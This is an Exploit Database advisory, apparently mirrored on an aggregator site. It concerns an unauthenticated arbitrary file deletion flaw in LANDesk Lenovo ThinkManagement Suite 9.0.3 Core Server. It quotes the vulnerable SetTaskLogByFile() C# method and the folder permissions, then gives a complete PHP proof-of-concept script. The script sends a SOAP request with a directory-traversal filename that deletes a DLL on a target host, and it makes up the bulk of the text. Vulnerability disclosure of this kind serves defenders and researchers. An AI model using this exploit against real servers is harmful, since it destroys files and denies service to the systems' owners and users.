LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server – Arbitrary File Deletion

• Exploit Database
• 14 阅读

• 作者： rgod
  日期： 2012-03-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18623/

• LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server WSVulnerabilityCore.dll 
  SetTaskLogByFile() Remote Arbitrary File Deletion Vulnerability
  
  Tested against: Microsoft Windows Server 2003 r2 sp2
  
  Software home page: http://www.landesk.com/lenovo/thinkmanagement-console.aspx
  
  Download url: http://www.landesk.com/downloads/lenovo/50.aspx
  
  Files tested: 
  ThinkManagement9.0.2.exe
  LD90-SP2-MCP_CONS-2011-0428.exe
  LD90-SP2-MCP_SD-2011-0428.exe
  ThinkManagementConsole9.0.3_b28.zip
  
  Instrunctions were to install 9.0.2, then apply two patches, finally to install 9.0.3
  
  Background:
  The mentioned product creates various virtual directories on IIS.
  Among them the 'WSVulnerabilityCore' one.
  Without prior authentication / authorization is possible to 
  invoke the 'VulCore.asmx' web service which exposes various
  functions inside the underlying dlls.
  
  Vulnerability:
  By specifying the 'SetTaskLogByFile' operation is possible to 
  delete arbitrary files on the target operating system.
  
  Vulnerable code:
  
  VulCore.asmx:
  ...
  <%@ WebService Language="c#" Codebehind="VulCore.asmx.cs" Class="LANDesk.ManagementSuite.WSVulnerabilityCore.VulCore" %>
  ...
  
  SetTaskLogByFile() from the VulCore class of WSVulnerabilityCore.dll:
  ...
  [WebMethod]
  public void SetTaskLogByFile(int computerIdn, int taskid, string filename)
  {
  try
  {
  string fullPath = GlobalBiz.LDLogon + @"VulScanResults\" + filename;
  byte[] fileContents = GlobalBiz.GetFileContents(fullPath);
  File.Delete(fullPath); //<------------------------ !!!
  if (filename.EndsWith("z"))
  {
  fileContents = GlobalBiz.DecompressBytes(fileContents);
  }
  this.SetTaskLog(computerIdn, taskid, Encoding.UTF8.GetString(fileContents));
  }
  catch (Exception exception)
  {
  RollingLog.Log(exception.ToString(), new object[0]);
  }
  }
  ...
  The 'filename' argument is used to delete files and suffers of a directory traversal vulnerability,
  no checks of any kind.
  
  To the ManagementSuite folder were given unsecure permission, see, from the command line:
  C:\>cacls "C:\Program Files\LANDesk\ManagementSuite\" 
  C:\Program Files\LANDesk\ManagementSuite SERVER\LANDesk Management Suite:R 
   SERVER\LANDesk Management Suite:(OI)(CI)(IO)(special access:)GENERIC_READ
   GENERIC_EXECUTE
   
   SERVER\LANDesk Script Writers:R 
   SERVER\LANDesk Script Writers:(OI)(CI)(IO)(special access:)GENERIC_READ
   GENERIC_EXECUTE
   
   SERVER\LANDesk Administrators:(OI)(CI)F 
   BUILTIN\Administrators:(OI)(CI)F 
   NT AUTHORITY\SYSTEM:(OI)(CI)F 
   NT AUTHORITY\NETWORK SERVICE:(OI)(CI)F 
   SERVER\ASPNET:(OI)(CI)F<--------------------------------- !!!
   SERVER\IWAM_SERVER:R 
   SERVER\IWAM_SERVER:(OI)(CI)(IO)(special access:) GENERIC_READ
  GENERIC_EXECUTE
   
   SERVER\IUSR_SERVER:R 
   SERVER\IUSR_SERVER:(OI)(CI)(IO)(special access:) GENERIC_READ
  GENERIC_EXECUTE
   
   NT AUTHORITY\Authenticated Users:R 
   NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(special access:) GENERIC_READ
  GENERIC_EXECUTE
   
   
  Full privileges were given to the subfolders and files to the ASPNET user.
  So a remote attacker can effectively deny service by deleting dlls, archives and configuration files
  including ex. web.config files.
  Remote code execution could be possible but has not been proofed at the time of this article.
  
  As attachment, a proof of concept code which delete a LANDesk dll from remote.
  
  
  POC:
  <?php
  /*
  LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server WSVulnerabilityCore.dll 
  SetTaskLogByFile() Remote Arbitrary File Deletion Vulnerability PoC
  */
  error_reporting(E_ALL ^ E_NOTICE); 
  set_time_limit(0);
  
  	$err[0] = "[!] This script is intended to be launched from the cli!";
  $err[1] = "[!] You need the curl extesion loaded!";
  
  if (php_sapi_name() <> "cli") {
  die($err[0]);
  }
  
  	function syntax() {
   print("usage: php 9sg_landeskii.php [ip_address]\r\n" );
   die();
  }
  
  	$argv[1] ? print("[*] Attacking...\n") :
  syntax();
  
  	if (!extension_loaded('curl')) {
  $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
  false;
  if ($win) {
  !dl("php_curl.dll") ? die($err[1]) :
   print("[*] curl loaded\n");
  } else {
  !dl("php_curl.so") ? die($err[1]) :
   print("[*] curl loaded\n");
  }
  }
  
  function _s($url, $is_post, $ck, $request) {
  global $_use_proxy, $proxy_host, $proxy_port;
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  if ($is_post) {
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
  }
  curl_setopt($ch, CURLOPT_HEADER, 1);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  "Cookie: ".$ck ,
  "Content-Type: text/xml; charset=utf-8",
  "SOAPAction: \"http://tempuri.org/SetTaskLogByFile\""
  
  )); 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_USERAGENT, "");
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch, CURLOPT_TIMEOUT, 0);
   
  if ($_use_proxy) {
  curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
  }
  $_d = curl_exec($ch);
  if (curl_errno($ch)) {
  //die("[!] ".curl_error($ch)."\n");
  } else {
  curl_close($ch);
  }
  return $_d;
  }
  $host = $argv[1];
  $port = 80;
  
  $soap='<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
  <SetTaskLogByFile xmlns="http://tempuri.org/">
  <computerIdn>1</computerIdn>
  <taskid>1</taskid>
  <filename>../ygrep32.dll</filename>
  </SetTaskLogByFile>
  </soap:Body>
  </soap:Envelope>';
  $url = "http://$host:$port/WSVulnerabilityCore/VulCore.asmx";
  $out = _s($url, 1, "", $soap);
  print($out."\n");
  ?>